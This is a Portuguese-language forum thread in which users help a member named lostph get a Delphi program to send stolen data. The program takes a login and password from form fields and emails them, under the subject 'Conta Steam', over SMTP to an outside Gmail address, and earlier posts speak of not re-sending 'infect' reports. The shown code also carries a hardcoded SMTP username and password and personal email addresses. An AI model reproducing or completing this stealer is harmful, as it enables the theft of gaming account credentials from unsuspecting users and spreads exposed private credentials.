[AJUDA] envio de informações

[Zero cool]

Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

lostph essa funcao e pra n mandar infect repetido ou info

traduzindo: Se não (func.Co)ou (arquivoexiste(func.dr + file_flag)) então
fecha;
criaarquivo(func.dr+file_flag);

vc pode deletar essa linha, que vae enviar do mesmo jeito, dae e com vc.

[lostph]

Obrigado pela ajuda c0dek,Zero cool ...

COnsegui faezr o e-mail chega atraz ve codigo:

Código Selecionar Expandir

with idSMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='lostph.steam';
Password:='rapha06';
AuthenticationType := atLogin;
Connect;
  end;

with idMessage do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:='lostph.steam@bol.com.br'; // E-mail da autenticação
From.Name:='Raphael'; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= 'raphiskis@gmail.com'; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
idSMTP.Send(idMessage);
finally
idSMTP.Disconnect;
end;
end;
porem so envio  1 vez ....

tipooo ... eu naum to conseguindo intende, por que esta taum dificil manda um e-mail ...

me add msn: mailto:ph.slater@hotmail.com">ph.slater@hotmail.com

Obrigado , e desculpa pela demora, tava viajando.

[lostph]

OnlyOne,whit3_sh4rk, obrigado tbm , fui meio que fazer nas presas e acabei eskecendo de coloka o nick de vcs, poreme stou muito grato tbm ...

começa estuda agora, Sistemas da informação na facul ...
quem sabe invez de pedi ajuda, estarei ajudando tbm ...

abraços

[c0dek]

Cara,
Aonde você colocou o comando para enviar o e-mail?
Explicar assim fica difícil, te adicionei lá no msn.

Abraços!

[case]

Nao sei se ajuda mas, também tive problemas com envio de mail pelo yahoo e depois consegui
colocando o endereco de smtp como smtp.mail.yahoo.com e a porta 25.

agora to utilizando duas rotinas, quando a do yahoo falha mando pelo bol

nesse site tem um exemplo de como utilizar o indy pra autenticar e enviar para gmail

http://www.activedelphi.com.br/forum/vi ... c269fb14e4